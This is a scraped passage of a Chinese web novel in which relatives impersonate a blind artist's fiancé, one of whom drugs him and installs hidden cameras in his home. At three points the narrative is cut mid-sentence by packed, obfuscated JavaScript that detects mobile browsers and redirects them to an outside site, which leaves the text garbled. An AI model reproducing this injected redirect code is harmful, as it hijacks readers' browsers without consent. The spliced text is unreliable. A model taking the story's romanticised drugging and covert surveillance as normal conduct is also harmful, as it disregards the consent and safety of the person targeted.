这样一来,就更显出未婚夫的粗心大意,柯玉树再次刷新了心中对程栖山的标签——外表沉稳,实则易怒,不会照顾人,有的时候挺粗心,偶尔还可能会……撒娇? 是的,撒娇。 未婚夫虽然刻意跟自己保持距离,但早晨分别的时候,有好几次想要柯玉树帮他系领带,又在话说到一半的时候停下,装作自己刚才什么都没说。 柯玉树猜,他那张英俊的脸一定冷若冰霜,一本正经,可惜自己现在看不到。 真是个奇特的人。 然而过了几天,柯玉树却觉得越来越不对劲。 未婚夫回家的时间很晚,柯玉树只当他加班很忙,令柯玉树疑惑的是,他有踢被子的坏毛病,这几天醒来,却发现被子好端端盖在自己身上。 家里留宿的人只有李阿姨,柯玉树最开始以为是李阿姨帮自己掖的被角,但一想又不可能,李阿姨年纪大了,不可能半夜醒来做这些多余的事。 那……半夜偷偷帮他掖被角的是程栖山吗? 柯玉树心说这可真是个神人,但为了不随便冤枉正常人,他打算探查一番。 这天,柯玉树特意白天多睡了两小时,晚上到了点果然没有困意,他打算蹲守半夜给自己掖被角的田螺先生。 然而到了后半夜,卧室门才被人轻轻打开,地毯微微摩擦发出一点声音。夜半的风拂过柯玉树面庞,流动的气流让他感知到,男人已经到了自己床前。 下一步是什么? 柯玉树闭着眼睛,其实闭不闭眼睛都一样,反正他看不见。 调动五官感知周围的动静,柯玉树感觉自己背后的被子被人轻轻向上提,然后往里推,压在了肩膀旁边。 他整个人被包裹在被子里,密不透风,脸都要被蒸热了。 柯玉树:“……?” 虽然猜到是程栖山,在面对这个事实,柯玉树还是有些难以理解。 真掖被子?! 他干脆直接出声询问:“程栖山?” 站在床前的人似乎顿住了,好几秒过去都没有说话。 柯玉树想着要不给程栖山一个台阶下,于是他故作迷茫地说:“你怎么这么晚才回来,最近是很忙吗?要注意身体啊。” 少熬夜,熬夜会长痘,还会有黑眼圈和眼袋。 男人依旧不说话。 “程栖山,你有什么事吗?” 柯玉树故作疑惑,把头朝向程栖山的位置,忽然,一只微凉的手握住了柯玉树的手腕,柯玉树下意识挣了挣,但反应过来站在自己面前的人是未婚夫,放弃挣扎。 未婚夫握着柯玉树的手腕,让他的手缓缓靠近自己的脸。柯玉树下意识动了动手指,指腹触碰到了未婚夫的鼻子和眼睛。 确定了,是那天在医院里的触感,程栖山是本人。 柯玉树偷偷松了口气,未婚夫一直不出声,他还以为来的是其他人呢。 “为什么不说话?”柯玉树问。 柯玉树的声音依旧很轻柔,微微抬头的样子像雏鸟那样,让人觉得他在一心一意依赖自己。 男人把柯玉树从床上扶了起来,还体贴地为他后腰放了抱枕。 柯玉树指尖动了动。 这么会照顾人? 做完这一切,男人牵起柯玉树的手,在他手心轻轻写下了一个字。 柯玉树:“……吵?” 男人又写下另一个字。 柯玉树:“睡?我知道了,你是怕吵醒李阿姨,想让我先睡觉吗?好,那你也得早点睡觉。” 柯玉树说这话时,声音简直软到不可思议,明明是个对所有人都很冷淡的清冷美人,在面对未婚夫时,却像一块随时能化在嘴里的糖糕。 柯玉树的手停留在男人掌心,温暖又干燥,他慢慢抽回手,轻声说:“晚安。” 男人终于还是把手收了回来,他站在床边,看月光似的美人在床上坐着,似乎在等着他离开。 他却不能说一句晚安。 因为他的声音和程栖山完全不一样。 程小叔无声叹了口气,然后关上柯玉树的房门,背靠在门上,慢慢感受着指尖残留的温暖。 他原本只是过来看看,能让他大侄子这么痴迷,二侄子一反常态在群里炫耀,还给他送面膜,甚至不惜惹上庭家的柯玉树是何方神圣。 最初是这样的,程小叔最初真的只打算来看看,但不知道为什么,第二次又想来,紧接着是第三次、第四次…… 直到被柯玉树抓了个正着。 可恶,为什么是今天,前半夜程雀枝刚好不在,否则被抓的就不是他,他还能偷偷摸摸一段时间。 程小叔脸上阴晴不定,忽然,他想起了公司几年前研究出的变声贴,虽然声音有些失真,但足够这段时间的应急。 不就是学个变音,对于学习方面,程小叔一向都很有天赋,三天内必出师。 二侄子,咱们一起玩。 …… 门内,柯玉树缓缓躺下,只是脸上看上去更茫然了,像是遇到了无法调制和复刻的色彩。 怎么又来几个奇怪的标签,他未婚夫复杂成啥样了? 柯玉树沉思ing…… 第二天下午,柯玉树坐在窗边插花,由李阿姨描述花朵的色泽,他来搭配,然而李阿姨医护经验丰富,对色彩的敏感度却低得吓人,描述出的也是干巴的形容。 柯玉树拿了一束花,问她:“这一束应该是洋桔梗,李阿姨,它的绿度是多少?” 拿着花的清冷美人面色平淡,在众多浅色花中,更像是一捧纯白的新雪,仿佛随时都能随着春日的来临而消散,破碎而柔软。 李阿姨看了看洋桔梗,然后绞尽脑汁整理形容:“是白色的,微微绿,不是青色,又有一点点偏白,但是又很绿……我……对不起,柯先生,我描述不出来。” 李阿姨描述的色彩干巴巴的,这也很正常,总有人不会图像与文字结合,而且洋桔梗的绿确实很难描述。 柯玉树不难为李阿姨,他指尖轻抚着洋桔梗的花瓣,摇头:“没事,不怪你。” 不知道洋桔梗的准确颜色,柯玉树干脆随心而来,他摸到剪刀,然后把满天星、尤加利连带着这束洋桔梗都裁剪到合适的尺寸。 柯玉树做这些事的时候很熟练,花束的长短搭配也很整齐,不像是刚刚眼盲的病人。他大致剪了个尺寸,换了个问题问李阿姨。 “这一束尤加利的绿有多深?” 浅色的洋桔梗可以不在意色彩搭配,但尤加利还是要注意一下的,而且有些尤加利的湿润状态和干燥状态各不相同,绿色也深浅不一。 李阿姨回答说:“绿色吗?很深,它背面还掉灰呢。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16949063|193043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>有多深? 很深。 柯玉树真的沉默了。 这时候玄关传来开门声,柯玉树循声望过去,就听到了程栖山的声音。 “我回来了。” 声音有些闷,李阿姨也转过头,忽然提高了声音:“程先生,你怎么来了?!” 门被关上,未婚夫走到两人的桌子旁边,说:“对,是我,我回来了。” 李阿姨突然沉默了。 柯玉树顺着声音的方向伸出手,刚好摸到未婚夫的手臂,问:“怎么突然回来了,是有文件要拿吗?” 未婚夫似乎笑了一声,然后说:“今天下午休假,回来陪陪你,在插花吗?。” 李阿姨那边的椅子挪动了两下,柯玉树没怎么在意,他的注意力全被未婚夫的声音吸引了。 “对啊,”柯玉树晃了晃手上的尤加利,“程栖山,你声音怎么有些闷闷的?” 说着,柯玉树的手顺着未婚夫的手臂向上,去探他的脸。未婚夫这次居然也没有躲开,任由柯玉树对自己动手动脚。 柯玉树的手触碰到了一点偏粗糙的布料,他猜测:“口罩?” “对,我对花粉过敏。”未婚夫说。 柯玉树忽然站了起来,有些着急:“那我把这些收起来……” “不用,这些花很漂亮,收起来会让花儿伤心的,所以我戴了口罩。” 未婚夫拿起放在柯玉树面前的一束花,说:“洋桔梗的颜色是小白菜中间那一段淡绿色,浅淡,看着让人很舒适。尤加利的颜色是深绿,像秋冬季节要落不落的桂花叶子,看着很沉。” 很特别的形容。 柯玉树听到未婚夫的描述,愣了一下,然后嘴角勾起浅浅的笑,说:“很有意思的叙述。” 果然是他认定的缪斯,短短几句话就在柯玉树脑海中勾勒出了色彩的具体感受,他好像灵感又要来了。 柯玉树在心中渐渐完成对缪斯的拼图,他这时候很急迫,十分急迫,他想要再触摸一下程栖山的脸。 “我去洗手,我们去房间。栖山,我很想见见你。”柯玉树说。 他说这话时,面庞飞起浅浅的红霞,声音又轻又柔,几乎没有人能拒绝。 未婚夫将柯玉树带到洗手台前,看着他洗干净手,然后自然而然的牵住了柯玉树,来到房间门口,然后体贴地捂着右边的门框,引导柯玉树走在中间,以免不小心撞上门框。 柯玉树在房间内坐下,摸索着床头抽了一张消毒湿巾,擦干净了手,未婚夫也走到柯玉树面前,蹲了下来。 “是要摸我的脸吗?”未婚夫直接问出了口。 柯玉树回答:“是的,我来帮你摘口罩吧。” 未婚夫:“好。” 未婚夫声音带着笑意,符合柯玉树口味的声音,再加上即将要摸到的属于缪斯的脸,柯玉树的心情好极了。 他伸出手指,勾着未婚夫耳朵后面的口罩带子,状似不经意地问:“栖山,你今天的心情似乎也很好。” 未婚夫点点头,不说话。 柯玉树把未婚夫口罩摘了下来,然后伸出手指,从颧骨向上,描摹到了眉眼,口罩熏出来的雾气蒸腾了男人的眼睫毛,指腹微润,柯玉树的手指又继续向下描摹,到了嘴唇。 他伸出食指和中指,勾勒着未婚夫的唇形,小指却不经意间触碰到了男人的喉咙,察觉到了那里有一节粗糙的布面。 “嗯?这是什么?” 柯玉树手向下摸索,想要探知未婚夫喉咙上那粗糙的布料是什么,奈何未婚夫突然抓住了他的手,另一只手将自己的口罩戴了回去。 轻声解释:“是创可贴,小伤口不碍事。” 脖子上的……创可贴吗? 8. 雀の绿帽1.0 8 柯玉树指尖动了动,收回手。 “怎么觉得你最近的皮肤滑了很多,是真的有在护理吗?” 假未婚夫·真长辈·程小叔:“……” 果然,男人到了三十岁就老了,幸好他用了二侄子用来的面膜。 但此地还是不宜久留。 “突然要加班,时间差不多,我该回去了。” 未婚夫站了起来,带起一阵松木的香气,柯玉树下意识伸手挽留。 “这么忙?” “嗯,花很漂亮,不要丢。玉树这么细心,一定能想办法处理好,等我下班回来验收成果,嗯?”未婚夫问。 柯玉树乖乖点头说:“好,我等你回来。” “没这么乖?” 柯玉树刻意压了压声音,“还去不去上班了?再闹不给你开门。” 看似是威胁,实则在撒娇,未婚夫似乎笑了一声,然后慢悠悠离开了柯玉树的房间。 等大门被关上,柯玉树才慢慢回到客厅,李阿姨走过来想要扶他,却被他轻轻推开。 “不用麻烦了,李阿姨,我自己可以回去。” 他一直这么要强,李阿姨也没有放在心上。 “柯先生,今天晚上想吃什么?”李阿姨问。 “随意。” “好的,柯先生。” 李阿姨的脚步声远去,柯玉树坐在桌子旁边,再次拿起了那几束花。 未婚夫的描述帮助他勾勒出了花的颜色,柯玉树心里有了大概的造型。他将满天星拆了下来,丢在一旁,换上了鲜嫩的细叶芒,然后开始一朵一朵去除洋桔梗的花蕊。 最后喷一遍清水,放在通风处。 虽然细叶芒也有花序,但细叶芒本身的花粉具有低致敏性,就算是程栖山对花粉过敏,也不会出事。 李阿姨从厨房出来,见到柯玉树挨个挨个摘去洋桔梗的花芯,不知道为什么叹息一声:“柯先生真是细心……” “嗯,毕竟栖山对花粉过敏。对了,李阿姨,我要插花的时候你怎么没提过,是没想起来吗?”柯玉树问。 李阿姨愣了一下,才回答说:“对不起,我忘记了程先生的花粉过敏症确实很严重,严重到有可能要命。” 果然是年纪大了,李阿姨说着说着,就开始回忆程雀枝给她的资料。 她背下来了程家三口和柯玉树的禁忌,自然如数家珍,只是渐渐的,她发现自己说的好像全是程小叔习惯和禁忌,一拍脑门。 “好像不小心说多了,柯先生不会嫌我烦吧?” 柯玉树:“没有,都是很有用的信息。” 李阿姨松了口气,知道自己失言了,沉默着把剩下的花处理掉,她最近心理压力很严重,经常犯些低级错误,不能再这么下去了。 柯玉树心中的疑惑越来越浓,他自然留意到了李阿姨的异常,还有程栖山。 柯玉树坐在桌前整理银白色的花穗,指腹擦过细叶芒,细叶芒的线条感很强,就像失明前程栖山给他的感觉,但现在,怎么像是变成了两个人? 一个冷硬又粗心,一个体贴温柔。 奇怪。 …… 程雀枝回家时,柯玉树正坐在沙发上听新闻,家里很温馨,仿佛都有人在家里等他回来,程雀枝很喜欢这种感觉。 他在客厅扫了一眼,目光停留在那束被插好的洋桔梗上。 “花很好看。” 李阿姨没有艺术细胞,这束浅绿色的花很有可能是柯玉树插的。 果不其然,柯玉树转过头望向程雀枝,然后浅笑着说:“你回来了?谢谢夸奖。” 程雀枝嗯了一声。 柯玉树:怎么又变成硬邦邦的未婚夫了? 饭桌上,柯玉树沉默吃着饭。 他的餐具是特制的,盘子里分了区,可以自行选择素菜,荤菜或者是汤。程雀枝则是和平常一样吃李阿姨炒的菜,菜式不多,但足够他一个人吃了。 这是程雀枝一天到晚最喜欢的时刻,在饭桌上,他可以肆无忌惮地窥探柯玉树的一举一动,因为他即将变成寡夫的嫂子,现在是个可怜的瞎子。 听起来真可怜,不是吗? 虽然做手术就能让柯玉树的眼睛恢复,前提是能做,自己不会给这小偷机会,程雀枝阴暗地想,小偷就该付出代价。 而且,倘若柯玉树一天不做手术,他就一天发现不了自己是个假货,发现不了和自己朝夕相处的,根本不是他深爱的未婚夫,而是曾经与他相看两厌、现在又在觊觎他的仇人。 程雀枝的想法越来越偏激,忽然,他被柯玉树的话唤回了注意力。 “你下午的描述很好,对色彩的感知也很敏感,程栖山,有兴趣帮我调一下颜料吗?放心,只有三种颜色。”柯玉树说。 柯玉树想用三种颜色描绘这段时间程栖山给他的感觉,该怎么说呢?程栖山不愧是程栖山,就连感觉都要用三种颜色描绘。 然而未婚夫却重复了柯玉树的话:“下午的描述?” 柯玉树:“嗯?” 程雀枝忽然有了种不好的预感,他冷着脸扫了一眼李阿姨,李阿姨顿时面色惨白,程雀枝心中猜了个大概。 果然,柯玉树说:“说起来,今天下午可是你难得的假期呀,可惜你又去加班了,唉……程栖山,你在听吗?” 程雀枝在听,但是听不进脑子里,他已然怒火中烧。 他今天一整天都待在公司里,程栖山还在郊区的疗养院昏迷不醒,想也知道被谁偷了家! 程雀枝咬牙切齿,控制着语气:“在听。最近公司很忙,有空我再帮你调颜料。” 柯玉树点头:“嗯,谢谢。” 有空是多久,柯玉树不知道,但他能敏锐感觉出面前的未婚夫气压很低,于是转移话题:“程栖山,能帮我带套画具吗?” 程雀枝掀起眼皮看他一眼:“哪个牌子?” 柯玉树拿出手机,全障碍模式点开相册,把一张照片放到了程雀枝面前。 “这套。” 程雀枝忽然睁大了眼睛。 这是……Ye先生的定制画具! 那个胡桃木画架,那个沉香木画笔,还有画板角落的划痕,程雀枝绝对不会认错,全世界就Ye先生一个人用这套画具! 程雀枝在国外追寻了很多年,才在Ye先生的老师那里,无意间见到过这套画具,柯玉树为什么会有照片? 难道说,柯玉树认识Ye先生?! “这个尺寸就行,右下角有编码,不用这套图的木材,普通的就行……程栖山,是不是有些麻烦你了?”柯玉树问。 这是柯玉树自己的画具。 至于为什么不让未婚夫帮忙回家去取?柯玉树还不想别人进他的私人领地,更何况家里还有些他往年的画作,容易掉马。 未婚夫咽了口口水,声音有些哑:“行,你把照片发给我,我去给你找。” 他们加了好友。 程雀枝愤愤咀嚼着饭菜,心中的猜测逐渐成型,或许柯玉树和他一样借鉴了Ye先生的画作,只是不能说出口,偏偏程雀枝又不好问。 因为他现在是“程栖山”。 程雀枝思来想去,决定暂时放下戒备,不叫柯玉树小偷了。 柯玉树应该跟Ye先生有关系。 朋友?朋友不会把画无缘无故给柯玉树,而且还有画具,共用一个画具吗?那很甜蜜了。 难道说他们是…… 不可能!柯玉树最喜欢的是他哥! 程雀枝看着花瓶里的洋桔梗,又忽然想起这洋桔梗代表的人——背后的偷他家的程小叔。 程雀枝恨不得现在就冲过去把花瓶砸了。 他家里怎么到处都在漏风?! 或许是察觉到未婚夫在看花,柯玉树说:“我知道你对花粉过敏,所以里面的花蕊都摘除了,还检查了一遍,放心。” 柯玉树连说了几个放心,意在安抚未婚夫,实则直接把程雀枝点炸了。 程雀枝忽然将碗筷放了下来,语气冷硬地说:“我突然想起有个文件要看,你先吃不用等我。李阿姨,过来帮我整理一下资料。” 柯玉树:“?” 怎么吃着吃着忽然要看文件? 书房门被关上,柯玉树扒拉了两下盘子里的小白菜,味道不错,爽口,很好吃。 他慢慢吃着盘子里的餐食,还剩最后几口的时候,未婚夫和李阿姨从书房里出来了。 程雀枝的脚步有些沉重,他听李阿姨讲了程小叔的所作所为,又让下属去查了柯玉树的背景,不过应该也查不出来。 程家和瑟莲家族的情报网都查不出异常,只能说明柯玉树就是个普通的大少爷。 不可能,柯玉树和Ye关系肯定不一般! 程雀枝固执地这样以为。 “是公司出了什么问题吗?我记得你回国还不到半年,需不需要柯家帮助?”柯玉树问。 柯家在s市扎根多年,已经成了当地的龙头企业,主营化工厂和原材料加工,这回和外资力雄厚的程家联姻,可以让妹妹拓展在国外的人脉市场。 但做生意是互惠互利的,倘若程氏出了问题,他们家理应该忙。 “不用,没出什么大事。”未婚夫声音闷闷地说。 既然人都拒绝了,柯玉树也没再多言,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16949064|193043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低头喝了口汤,忽然听到未婚夫又说:“我这两天尽量多回家陪陪你,你在家无聊吗?” 柯玉树摇头:“不无聊,你有自己的节奏,不用为了我而变动。” 程雀枝:“……好。” 吃完饭,柯玉树照常坐在沙发上听国际新闻,女主持人播报着西索战区当地混战,那里各方势力混杂,好几个有头有脸的家族都下了场,军火商在其间大赚特赚。 “……油桶刻有华国字号,只是尚不明确是哪家企业……” 女主持人说到这一段话时,柯玉树忽然轻笑了一下,旁边工作的程雀枝疑惑地看向他。 “怎么了?” “没什么,只是忽然想到高兴的事。对了,程栖山,你脖子上的伤怎么样了?” 程雀枝面部又扭曲一瞬。 公司研究过变声贴,贴在喉咙能够实时改变声线,大概就是柯玉树所说的脖子上的伤。 程雀枝在心中暗暗骂程小叔下作手段,声音依旧平稳:“无妨,我换个创口贴就行,李阿姨——” 厨房里忙碌的李阿姨放下手中的活,找出医药箱,往程雀枝白净的脖颈上装模作样贴上创可贴。 做这些事时,李阿姨胆战心惊,生怕柯先生转头要看一看,摸一摸程雀枝的“伤口”。 柯玉树当然不会干这些莫名其妙的事,等李阿姨贴好,他才问:“伤口深不深?严重吗?” 柯玉树凑过来望着程雀枝,表情跃跃欲试,好像在说:反正有创可贴挡着,摸一摸又不会感染。 程雀枝受不了他这副表情,又很担心柯玉树摸着摸着,要是往上碰到他的脸,那他不就炸了吗? 程雀枝在原地纠结,柯玉树也摩挲着自己的指尖,等待未婚夫给一个答案。 美好的指尖近在眼前,程雀枝几乎没有体验过被柯玉树触碰的感觉,这样的权利,是长着和程栖山有九分像的小叔才有的,他很贪婪,他也想索取。 但Ye先生的谜团…… 程雀枝扫了眼李阿姨,李阿姨立刻低眉顺眼回了厨房,这时候程雀枝才点头说:“好,伤口不大,你摸两下就行。” 摸两下,不能再多了。 依旧是人狠话不多,吃不得一点亏的未婚夫,柯玉舒叹了口气,看来想要时时刻刻捏捏未婚夫的脸,他还任重而道远。 程雀枝把柯玉树的手指捏在掌心,引导着他去触碰自己脖颈的肌肤。确定了大概位置,他便放手,任由柯玉树的手在自己最脆弱的地方来回游走。 柯玉树的手指触碰到创可贴,创可贴以外的肌肤完好无损,果然是个不大的伤口,他的手指又缓缓往旁边,突然,感受到指腹下的喉结滚动。 柯玉树:“……” 柯玉树心中忽然有了个大胆的猜测,未婚夫对自己的触碰反应这么大,难道说他对未婚夫…… 有效? 柯玉树通常将情感纠葛程序化,爱意和恨意的表达都归属在同一个反应,只是带来的利益不同,倘若未婚夫真的对自己有好感,那么他对未婚夫就是有效的。 他完全可以利用这一点,去做到想做的事。 “嗯,确实伤口不大,但依旧需要好好养伤,最近还是吃些清淡吧。”柯玉树说。 程雀枝:“嗯。” 柯玉树的手悬停在半空中,程雀枝有些想要挽留,却忽然听到他说:“程栖山。” 怎么忽然叫死鬼哥哥的名字? 程雀枝犹豫了一下,才道:“嗯,怎么了?” “我能再摸摸你的脸吗?我想以你为原型画一幅画。嗯……虽然我现在看不见,但说不定用触觉画出来的画,会更加贴合我对你的感受。”柯玉树说。 搞艺术的说话总是那么云里雾里,但程雀枝听懂了,柯玉树说这话时声音很轻柔,程雀枝心像是被羽毛挠了一下。 以他为原型画的画,对他的感觉,无论是哪一样都能让程雀枝偏执、病态的占有欲得到满足,但他一想到柯玉树以为自己是死鬼哥哥,顿时,一股酸涩而扭曲的恨意从胸口荡开。 柯玉树对程栖山也是这样的吗? 他们结婚后,柯玉树是否也会为程栖山画画? 还是说,柯玉树的所有画作都是为了程栖山所作? 柯玉树那样专情,结婚之后说不定不会再允许自己笔下出现其他人物。倘若真是这样,程栖山就成了那个唯一、独一无二的珍宝。 ……明明柯玉树身边那么多人,为什么他看上的是程栖山? 就算柯玉树真喜欢Ye先生,程雀枝也认了,但为什么他喜欢的是程栖山? 他那个平平无奇的大哥。 他能够替代的大哥。 9. 窥视 9 程雀枝已经快要被自己扭曲的幻想折磨疯了,他也想要成为柯玉树笔下的人物,他也想要柯玉树的爱意…… 但是,不行,柯玉树不是好人,是狐狸精,他会把自己骗得团团转,不管是程栖山还是程小叔,甚至高高在上的Ye先生都说不定与他有染。 自己真的要陷入这团泥沼吗? 程雀枝的手都在发抖,他想,在此之前他必须找到可以控制柯玉树的东西,柯玉树太不可控,必要时他会动用非常手段。 于是程雀枝忽然握住柯玉树的手腕,然后将手坚定地放回去,拒绝:“不行。” “为什么?”柯玉树问。 他以为未婚夫纠结那么久,会同意,没想到还是拒绝了自己,果然是个狡诈的商人,柯玉树高看他一眼。 “时间不早了,我晚上皮肤状况不好,不想让你摸。”程雀枝木着脸给出解释。 柯玉树:“……” 理由真够烂的,未婚夫真的是人吗?怎么什么性格都有? 柯玉树开始思考未婚夫究竟是个什么成分,他原以为程栖山的性格是稳重占大头,没想到有时候还挺抽象。 他们程家是个什么虎狼之地?居然能教育出这样的大少爷。 佩服佩服。 柯玉树说:“既然你不愿意,那就算了吧。” 给彼此留一点体面。 柯玉树垂下脑袋,程雀枝担心柯玉树怀疑,干脆转移话题,谈起刚才新闻里的军火商。 “……嗯,军火的话,程家的人脉也可与其搭上线,只可惜柯家主营化工原料,一时转型,怕是会动了根基。”程雀枝沉声说,“军火在西索战区当地不属于违禁品,政府允许通行,你们柯家要是有想法的话,可以先再观望观望。” 柯玉树挑挑眉,不明白未婚夫怎么忽然谈起西索战区的事,他和未婚夫的关系还没有到聊这个的时候。 于是他说:“军火?柯家暂时没有这个打算,小叶只是做一些画具和颜料运输的生意。而且程栖山,我希望你也尽量不要参与危险的事,倘若你受伤,我会很心疼。” 柯月叶的画具运输链背靠程家,走的是安全路线,还有雇佣兵保护,至于画具箱子里面是什么,柯玉树淡笑不语。 那些货物穿过战区,能在当地政府的保护下畅通无阻进入各个区域,所以柯月叶十分谨慎,打通这条线路,她至少能在战区占有绝对的话语权。 所以是什么东西,足够昂贵,足够危险,足够发大财呢? 程家人不会知道。 未婚夫点头说好,柯玉树也放下心来,刚想说时候不早回房睡觉,就听未婚夫又说:“我也很担心你的安全,所以这段时间尽量少出门,就在家里等我。即便出门也提前跟我说一声,好吗?” 程雀枝说这话时,脸上偏执占有的表情一览无余,刚从厨房里出来的李阿姨见到这一幕,又吓得缩了回去。 这是在做什么? 程雀枝的余光总是能看到那瓶碍眼的洋桔梗,他知道是小叔趁虚而入,怪不了柯玉树,但他就是想从柯玉树身上找问题。 倘若柯玉树能够发现不对劲,或者对程栖山的信任再少一点,小叔是不是根本就不会趁虚而入? 程雀枝很讨厌属于自己的物品被他人觊觎的感觉,更何况现在小叔已经动手,程雀枝忽然有一种珍宝沾上污泥的恶心感。 他只能一遍遍冲刷珍宝,证明着它的纯洁无瑕。 这样的问题其实并不礼貌,程雀枝也没指望柯玉树会同意,却没想到柯玉树定定望着他,然后柔顺点头,说:“好。” 程雀枝:“……” 他又扭曲了一瞬。 新闻播报到食品健康安全,柯玉树似乎对接下来的事件并不感兴趣,他打了个哈欠,又说:“时间不早,我有些累,先回房洗澡了。” 程雀枝:“好。” 柯玉树没让李阿姨扶,自己摸索着墙壁回了房间。确认柯玉树卧室关上后,程雀枝的脸瞬间沉了下去。 他最近公司事情很多,而且大多都是一些很繁琐,需要时间才能完成的项目,想也知道是谁推给他的。 死鬼哥哥车祸出事后,程家在s市的事物大多交由程雀枝和小叔分担,这段时间小叔却主动放权,原来是偷家来了。 程雀枝胸中的妒火越烧越旺,他想,等到他的权力足够大,他一定会将柯玉树藏在一个谁都找不到的地方。 他的珍宝璞玉还未雕琢成珍宝,就勾引了这么多人,程雀枝都不敢想之后会演变成什么样。 不行,柯玉树眼中只能有他一个人。 程雀枝掐断洋桔梗的花枝,将其丢进杯中。 “程诲南,呵,你休想将他从我身边抢走。” …… 程雀枝拿到了下属发来的照片,没有其他,只有一张柯玉树曾在社交媒体发布的照片。 照片是飘窗的风景,旁边有半个画架,画具正是Ye先生那一套,程雀枝看得清清楚楚,甚至画架角落那个凹槽都一模一样。 Ye先生这么喜欢他,连画具都送给了这个小偷?! 不,不是小偷……Ye先生他,是愿意的!他愿意把未完成的作品给柯玉树,装点柯玉树的名声,所以才会有这样的乌龙。 程雀枝心中又酸又涨。 Ye先生也喜欢柯玉树吗? 他忽然有种不真实感,原来柯玉树这么优秀,不管是程栖山那个死鬼,还是程诲南那个畜生,甚至他崇拜的Ye先生也喜欢柯玉树。 他……也喜欢。 程雀枝承认了,他明白了,他也喜欢柯玉树。 他从来没对一个人这么感兴趣过,他不会放过柯玉树的,Ye现在身份成谜,他必须得先把程诲南稳住。 三天后,柯玉树拿到了定制的画具,是程雀枝亲自交给柯玉树的,很合手,但柯玉树暂时不打算用。 未婚夫依旧来去匆匆,有时早餐都没来得及吃就出了门,晚上更是熬夜加班,柯玉树担心程栖山那张脸垮了,于是他隐晦提醒了一下,没想到未婚夫却沉默良久,才道:“放心,不会。” 他和小叔斗得水深火热,在暗中派了不少人进行交锋,两边都没空来纠缠柯玉树。 家里也有李阿姨挡着,程诲南休想再次偷家,一想到柯玉树很可能被小叔夺走,程雀枝又面目扭曲了一下,他做了个决定。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16949065|193043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这天,柯玉树午睡的前,李阿姨给他端了一杯牛奶,柯玉树毫无防备喝下,然后睡了个昏天黑地。 牛奶里被李阿姨加了大剂量的安眠药剂,于身体无害,刚好能让柯玉树放松一下。 确认柯玉树睡着后,立即让工人上门安装了一打摄像头,除了三间卧室,整个大平层全方位无死角都被收入了监控下。 李阿姨在旁边看着心惊胆战,手都在抖,程雀枝则在旁边阴森森地说:“李阿姨,我知道你心理压力大,上次的失误也就不罚你了,倘若下次你再把那人放进来,我不确定我会做出什么事来。” 程雀枝用了自己的声音,他声音清雅动人,但说出来的话却让人不寒而栗。 李阿姨想到了来之前管家跟她说过的经过,程家庄园有个园丁,那园丁只是不小心剪坏了二少爷养的杂草,第二天就彻底消失在了庄园,就连家人也下落不明…… 是她逾矩了,她不该插手主人家的事。 李阿姨诚惶诚恐点头,“多谢少爷,我不会再让这样的事情发生。” 调试一番,程雀枝对家里的一打监控很满意,除了卧室和浴室,其余地方都有照顾到,是以第二天上班的时候,他心情特别好。 柯玉树昨天睡了个昏天黑地,醒来时还有些迷迷蒙蒙的,他只以为是脑部的淤血出了问题,没当回事,今天却觉得有些不对劲。 总有一种被视线锁定的感觉。 柯玉树知道未婚夫总是会用阴森森的眼神盯着自己,他将之划分为对喜欢的人的爱意表达,在遇到未婚夫之前,柯玉树也有很多追求者,也时时沐浴在这种目光下,所以他对未婚夫的注视接受良好。 “好的,路上小心。” 柯玉树站在沙发旁边,送走了未婚夫。 只是未婚夫走后,他发现这样的视线仍存在于自己周围。 怎么回事? 柯玉树在这方面很是敏感,他有些疑惑,想要验证一下自己的猜想,于是给未婚夫发去语音消息。 “程栖山,我想回家取一些陶具,以后就少出门了,可以吗?” 现在的柯玉树虽然看不见,但他有一双敏感的手,可以通过手去感知世界,程栖山没有时间给他调色,柯玉树干脆用程栖山的脸捏一个陶偶。 程栖山不让自己摸他脸的时候,还能摸摸陶偶解馋,但是得先找机会勾引一下程栖山,让他同意自己摸摸他的脸,把尺寸记下来才行。 反正是未婚夫,勾引起来也不用收手。未婚夫想要安全感,那就给,柯玉树并不介意,哪怕在李阿姨眼中他们之间的关系有些畸形。 未婚夫消息回得很快,兴许靠着车窗,他声音有些失真,但是柯玉树喜欢的声音。 “好,让李阿姨和司机陪你去,早点回来。”未婚夫说。 有了未婚夫允许,柯玉树就能光明正大出门了,只是他叫了好几声李阿姨,李阿姨才反应过来。 “嗯,柯先生怎么了?” 李阿姨最近似乎有些心不在焉。 “我想回一趟家去取陶泥和模具,能帮忙一起吗?”柯玉树说。 李阿姨手里的杯子倒在桌上。 柯玉树:“?” 10. 精神分裂 10 李阿姨结结巴巴地说:“要出门吗?嗯,不行……得先请示先生。” 她把杯子扶正,似乎有些紧张。 